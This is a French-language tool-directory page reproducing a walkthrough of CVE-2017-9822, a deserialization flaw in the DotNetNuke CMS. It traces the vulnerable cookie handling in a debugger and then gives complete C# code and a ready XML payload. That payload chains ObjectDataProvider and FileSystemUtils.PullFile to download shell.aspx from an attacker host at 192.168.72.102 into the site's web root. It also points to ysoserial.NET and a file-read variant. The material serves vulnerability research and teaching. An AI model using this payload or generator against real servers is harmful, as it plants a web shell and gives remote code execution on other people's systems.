Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2017-9822 — Analyse détaillée et preuve de concept d'exploitation pour CVE-2017-9822, une vulnérabilité XXE/désérialisation non sécurisée dans le CMS DotNetNuke menant à une exécution de code à distance via la manipulation de cookies. | Kitploit
Outils/GitHubGitHub/tranphuc2005/cve-2017-9822
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionDéveloppement de Charges UtilesExploitation de Binaires
GitHubtranphuc2005/cve-2017-9822

CVE-2017-9822

Analyse détaillée et preuve de concept d'exploitation pour CVE-2017-9822, une vulnérabilité XXE/désérialisation non sécurisée dans le CMS DotNetNuke menant à une exécution de code à distance via la manipulation de cookies.

Voir le dépôt
2il y a 0 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2017-9822

DotNetNuke (souvent abrégé DNN) est une plateforme CMS (Content Management System) et un framework d'application web basé sur la technologie ASP.NET de Microsoft.

Informations principales

  • Produit concerné : DotNetNuke (DNN Platform) – un CMS/portail .NET populaire.

  • Date de publication : Juillet 2017.

  • Sévérité : Critique (CVSS ~9.8).

  • Type de vulnérabilité : XML External Entity (XXE) / Désérialisation non sécurisée → Exécution de code à distance (RCE).

  • Impact : avant la version 9.1.1, exécution de code à distance possible via le cookie

Guide d'installation

Ici, j'utilise Windows 10 pour installer et déboguer le programme. La version que j'installe est 9.1.0. Vous pouvez consulter la méthode d'installation ici. Et voici le résultat une fois terminé :

1

Analyse

1

  • D'après les rapports que j'ai lus, cette vulnérabilité se situe au niveau du traitement des cookies de DotNetNuke.

  • DNN utilise une désérialisation non sécurisée (unsafe deserialization) pour le cookie DNNPersonalization.

1

Debug

  • Ici, j'utilise dnSpy, un décompilateur et débogueur pour les applications .NET (C#, VB.NET, F#...). Il vous permet de visualiser, analyser et modifier le code source à partir de fichiers compilés comme .dll ou .exe écrits en .NET. Vous pouvez l'installer ici. Nous devons télécharger 2 versions pour le débogage.

1

  • Tout d'abord, ouvrez DotNetNuke.dll avec la version 32 bits, puis choisissez Edit Assembly Attributes (C#).

1

  • Ensuite, remplacez la ligne
root@kitploit:~
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]

par

root@kitploit:~
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
DebuggableAttribute.DebuggingModes.DisableOptimizations |
DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints |
DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]

1

Ensuite, enregistrez.

  • Ouvrez la version 64 bits en tant qu'Administrateur et sélectionnez Attach to Process.

1

  • Ensuite, sélectionnez w3wp.exe.

1

La raison de choisir w3wp.exe est :

  • w3wp.exe = processus de travail IIS (IIS Worker Process).

  • C'est le processus d'exécution de l'Application Pool dans IIS.

  • Lorsqu'une requête HTTP est envoyée au site web, IIS crée ou réutilise un processus w3wp.exe pour traiter cette requête (exécution du code ASP.NET, gestion des modules, middleware, connexions à la base de données...).

  • Chaque Application Pool peut avoir un ou plusieurs processus w3wp.exe selon la configuration (web garden, recycling).

Ensuite, sélectionnez Debug -> Window -> Modules.

1

Une fois terminé, les modules apparaissent. Faites un clic droit sur n'importe quel module et sélectionnez Open All Modules.

1

Et enfin, tous les assemblys liés à DNN apparaîtront.

1

  • Entrez dans DotNetNuke.dll -> PersonalizationController#LoadProfile(int, int).

1

Cette fonction sert à charger les données de personnalisation (profil) de l'utilisateur dans le portail DNN.

  • Si l'utilisateur est connecté → le profil est récupéré depuis la base de données + le cache.

  • Si l'utilisateur est anonyme (non connecté) → le profil est récupéré depuis le cookie DNNPersonalization.

Ici, nous devrions nous concentrer sur DNNPersonalization.

  • Si userId n'est pas valide (utilisateur anonyme).

  • Vérifie si la requête contient le cookie DNNPersonalization.

  • Si c'est le cas → récupère la valeur XML de ce cookie.

  • Nous allons envoyer une requête 404 au site web avec un cookie DNNPersonalization quelconque, puis utiliser dnSpy pour placer un point d'arrêt (breakpoint) dans DotNetNuke.dll –> PersonalizationController#LoadProfile(int, int) ; le débogage fonctionnera alors.

1

1

  • Dans la pile d'appels (Call Stack), concentrons-nous sur l'analyse de la classe PortalSettings.

1

  • Ce qui est intéressant, c'est qu'une condition if est utilisée ici pour vérifier si la requête actuelle est IsAuthenticated ou non.

  • Et comme la requête que nous envoyons est une 404 -> unauthenticated.

  • En continuant dans la pile d'appels, concentrons-nous sur Handle404OrException.

1

  • Ici, elle vérifie si context.User de la requête actuelle est null ; si c'est le cas, elle affecte à context.User l'utilisateur du thread actuel.

1

1

  • On voit que dans Handle404OrException, la variable IsAuthenticated a maintenant la valeur true et l'utilisateur est celui du serveur IIS ; la requête est donc traitée comme un utilisateur authentifié.

  • La cause du problème se trouve dans ce morceau de code :

root@kitploit:~
else if (transfer)
{
	if (context.User == null)
	{
		context.User = Thread.CurrentPrincipal;
	}
	response.TrySkipIisCustomErrors = true;
	IHttpHandler handler = new CDefault();
	context.Handler = handler;
	server.Transfer("~/" + text, true);
}
  • Si context.User n'existe pas → affecte Thread.CurrentPrincipal (c'est-à-dire l'identité actuelle du thread).

  • Cela donne à la requête les informations sur l'utilisateur/rôle lors du traitement suivant.

=> Ainsi, lorsque nous transmettons n'importe quel contenu dans le cookie DNNPersonalization, il est traité comme un utilisateur normal.

Voyons maintenant le traitement du cookie

  • Toujours dans DotNetNuke.dll –> PersonalizationController#LoadProfile(int, int).

  • Nous voyons que la variable text reçoit la valeur du cookie, puis est passée en entrée à Globals.DeserializeHashTableXml().

1

  • Entrons dans Globals.DeserializeHashTableXml().

1

La fonction DeserializeHashTableXml a pour rôle :

  • Recevoir une chaîne XML (Source).

  • Analyser cette chaîne XML pour la convertir en un objet Hashtable.

  • Pendant l'analyse, elle appelle la fonction XmlUtils.DeSerializeHashtable avec le paramètre "profile" pour désigner le nœud racine XML.

À l'intérieur de XmlUtils.DeSerializeHashtable, nous voyons comment elle traite :

1

La fonction DeSerializeHashtable reçoit une chaîne XML et la convertit en Hashtable. Pour chaque nœud <item>, elle va :

  • Prendre key comme clé.

  • Prendre type puis appeler Type.GetType(type) pour déterminer le type de données.

  • Utiliser XmlSerializer.Deserialize pour transformer le contenu XML en véritable objet.

  • L'ajouter au Hashtable.

👉 Problème : type et le contenu XML sont entièrement contrôlés par l'utilisateur (via le cookie DNNPersonalization).

Création du payload

En nous basant sur XmlUtils#DeSerializeHashtable, le point vulnérable, créons un programme qui sérialise et désérialise les objets de la même manière :

root@kitploit:~
using System.Xml;
using System.Diagnostics;
using System.Xml.Serialization;

namespace example
{
	public class Test  
	{    
	    private string _name;  
	    public string name  
	    {  
	        get { return _name; }  
	        set { this._name = value; execCMD(); }  
	    }  
	  
	    private void execCMD()  
	    {  
	        Process process = new Process();  
	        process.StartInfo.FileName = this._name;  
	        process.Start();  
	        process.Dispose(); // close  
	    }  
	}

    public class Program
    {
        private static string fileFolder = "D:\\lab\\csharp\\DNN\\example\\serialization\\";
        public static void Serialize(Object obj) // method xml serialize arbitrary object 
        {
            // tạo xml root element
            XmlDocument xmlDocument = new XmlDocument();
            XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");
            xmlDocument.AppendChild(xmlElementRoot);

            // tạo node con item có attribute type chứa tên object type

            XmlElement xmlElementItem = xmlDocument.CreateElement("item");
            xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);

            // serialize obj thành xmlDocumentObj

            XmlDocument xmlDocumentObj = new XmlDocument();
            XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
            StringWriter stringWriter = new StringWriter();
            xmlSerializer.Serialize(stringWriter, obj);
            xmlDocumentObj.LoadXml(stringWriter.ToString());
            // thêm xml serialized object này vào node item và thêm node item vào root element
            xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));

            xmlElementRoot.AppendChild(xmlElementItem);
    
            File.WriteAllText( fileFolder + "obj.xml", xmlDocument.OuterXml);

        }

        public static void DeSerialize(string xmlSource, string rootname)
        {
            // Hashtable hashtable = new Hashtable();
            if (!string.IsNullOrEmpty(xmlSource))
            {
                try
                {

                    XmlDocument xmlDocument = new XmlDocument();
                    xmlDocument.LoadXml(xmlSource);
                    foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))
                    {
                        XmlElement xmlElement = (XmlElement)obj;
                        string attribute = xmlElement.GetAttribute("key");
                        string attribute2 = xmlElement.GetAttribute("type");
                        XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
                        XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));

                        // hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));
                        // custom

                        Object objResult = xmlSerializer.Deserialize(xmlReader);
                        Test testObj = (Test) objResult;
                        Console.WriteLine("Deserialize sucessful: " + testObj.name);
                    }
                }
                catch (Exception)
                {
                }
            }
            // return hashtable;
        }
        static void Main(string[] args)
        {
            // serialize
            Test test = new Test();
            test.name = "notepad.exe"
            Serialize(test);
            // deserialize
            String xmlSource = File.ReadAllText(fileFolder + "obj.xml");
            DeSerialize(xmlSource, "profile");

        }
    }
}
  • Le fichier xml ressemblera à ceci :
root@kitploit:~
<?xml version="1.0" encoding="utf-8"?>
<profile>
  <item type="example.Test, ConsoleApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null">
    <Test xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
          xmlns:xsd="http://www.w3.org/2001/XMLSchema">
      <name>notepad.exe</name>
    </Test>
  </item>
</profile>

1

  • Passons maintenant au RCE.
  • Il faut trouver un objet capable d'exécuter du code lors de la désérialisation.
  • Ici, nous trouvons la méthode PullFile de FileSystemUtils.

1

Explication :

  • PullFile(string URL, string FilePath) — méthode statique de FileSystemUtils permettant de télécharger le contenu d'une URL vers le chemin FilePath sur le système.

  • À l'intérieur, elle utilise WebClient.DownloadFile(URL, FilePath) — l'action de téléchargement et d'écriture du fichier.

  • Le catch journalise simplement l'erreur et retourne un message ; il ne relance pas l'exception.

Mais le problème est :

XmlSerializer ne peut pas sérialiser les méthodes d'une classe, seulement les champs et propriétés publics. Or, aucun des champs et propriétés publics de la classe FileSystemUtils ne permet d'appeler la méthode PullFile.

Parlons maintenant de la classe ObjectDataProvider.

  • ObjectDataProvider est une classe de WPF (namespace System.Windows.Data, module PresentationFramework.dll).

  • Capable d'appeler des méthodes à l'exécution — elle ne contient pas seulement des données, mais peut effectuer des actions (effets de bord) en appelant n'importe quelle méthode sur l'objet encapsulé.

  • Permet de passer des paramètres — un attaquant peut contrôler les paramètres transmis à la méthode (par exemple l'URL et le chemin de fichier pour une méthode PullFile).

  • ObjectDataProvider n'« exécute pas du code » comme un interpréteur — mais elle permet d'appeler n'importe quelle méthode publique sur l'objet encapsulé. Ainsi, s'il existe une méthode publique ayant un effet de bord dangereux (par exemple télécharger un fichier, exécuter un processus, écrire un fichier), la chaîne peut être réalisée.

1

Ici, elle appelle Refresh() de DataSourceProvider.

1

Ensuite, on arrive à BeginQuery() ; notez que ObjectDataProvider hérite de DataSourceProvider et nous passons au BbeginQuery() de ObjectDataProvider.

1

Continuons avec QueryWorker.

1

Elle appelle InvokeMethodOnInstance.

1

InvokeMethodOnInstance est la méthode d'invocation proprement dite — elle utilise la réflexion pour appeler la méthode spécifiée (MethodName) sur l'objet que ObjectDataProvider « encapsule » (ou sur ce type s'il est statique), transmet la liste MethodParameters, puis retourne le résultat de cette méthode.

J'utilise l'IDE JetBrains Rider pour écrire le script ; il faut référencer les modules DotNetNuke.dll et PresentationFramework.dll.

1

Le payload d'exécution est le suivant :

root@kitploit:~
using System;  
using System.IO;  
using System.Xml;  
using System.Xml.Serialization;  
using System.Windows.Data;              // ObjectDataProvider  
using DotNetNuke.Common.Utilities;      // FileSystemUtils (nếu bạn đã add DLL)  
using System.Data.Services.Internal;    // ExpandedWrapper (nếu có)  
  
namespace example  
{  
    public class Program  
    {  
        private static string fileFolder = "C:\\Users\\chinh\\Documents\\DNN"; // CHANGE THIS  
        public static void Serialize(Object obj) // method xml serialize arbitrary object   
        {  
            // tạo xml root element  
            XmlDocument xmlDocument = new XmlDocument();  
            XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");  
            xmlDocument.AppendChild(xmlElementRoot);  
  
            // tạo node con item có attribute type chứa tên object type  
            XmlElement xmlElementItem = xmlDocument.CreateElement("item");  
            xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);  
  
            // serialize obj thành xmlDocumentObj  
            XmlDocument xmlDocumentObj = new XmlDocument();  
            XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());  
            StringWriter stringWriter = new StringWriter();  
            xmlSerializer.Serialize(stringWriter, obj);  
            xmlDocumentObj.LoadXml(stringWriter.ToString());  
  
            // thêm xml serialized object này vào node item và thêm node item vào root element  
        xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));  
            xmlElementRoot.AppendChild(xmlElementItem);  
            File.WriteAllText(fileFolder + "obj.xml", xmlDocument.OuterXml);  
        }  
  
        public static void DeSerialize(string xmlSource, string rootname)  
        {  
            // Hashtable hashtable = new Hashtable();  
            if (!string.IsNullOrEmpty(xmlSource))  
            {  
                try  
                {  
                    XmlDocument xmlDocument = new XmlDocument();  
                    xmlDocument.LoadXml(xmlSource);  
                    foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))  
  
                    {  
                        XmlElement xmlElement = (XmlElement)obj;  
                        string attribute = xmlElement.GetAttribute("key");  
                        string attribute2 = xmlElement.GetAttribute("type");  
                        XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));  
                        XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));  
                        // hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));  
                        // custom  
                        Object objResult = xmlSerializer.Deserialize(xmlReader);  
                    }  
                }  
                catch (Exception)  
                {  
                }  
            }  
            // return hashtable;  
        }  
        static void Main(string[] args)  
        {  
            ExpandedWrapper<FileSystemUtils, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<FileSystemUtils, ObjectDataProvider>();  
            expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();  
            expandedWrapper.ProjectedProperty0.ObjectInstance = new FileSystemUtils();  
            expandedWrapper.ProjectedProperty0.MethodName = "PullFile";  
    expandedWrapper.ProjectedProperty0.MethodParameters.Add("https://192.168.72.102:8000/shell.aspx");  
            expandedWrapper.ProjectedProperty0.MethodParameters.Add("C:\\Web\\DNN_Platform_9.1.0.367_Install\\js\\shell.aspx");  
  
            Console.WriteLine("Done!!");  
            Serialize(expandedWrapper);  
  
            String xmlSource = File.ReadAllText(fileFolder + "obj.xml");  
            DeSerialize(xmlSource, "profile");  
  
        }  
    }  
}

Nous obtenons le fichier xml :

root@kitploit:~
<profile>
  <item key="myTableEntry" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
      <ExpandedElement/>
      <ProjectedProperty0>
        <MethodName>PullFile</MethodName>
        <MethodParameters>
          <anyType xsi:type="xsd:string">http://192.168.72.102:8000/shell.aspx</anyType>
          <anyType xsi:type="xsd:string">C:\Web\DNN_Platform_9.1.0.367_Install\js\shell.aspx</anyType>
        </MethodParameters>
        <ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
      </ProjectedProperty0>
    </ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
  </item>
</profile>

Procédons à l'insertion du payload.

1

1

1

Lançons l'exploitation.

1

De plus, nous pouvons utiliser l'outil ysoserial.NET pour générer le payload.

1

1

De plus, nous pouvons aussi exploiter la lecture de fichier au niveau de WriteFile de la classe FileSystemUtils.

1

1

Télécharger l’outil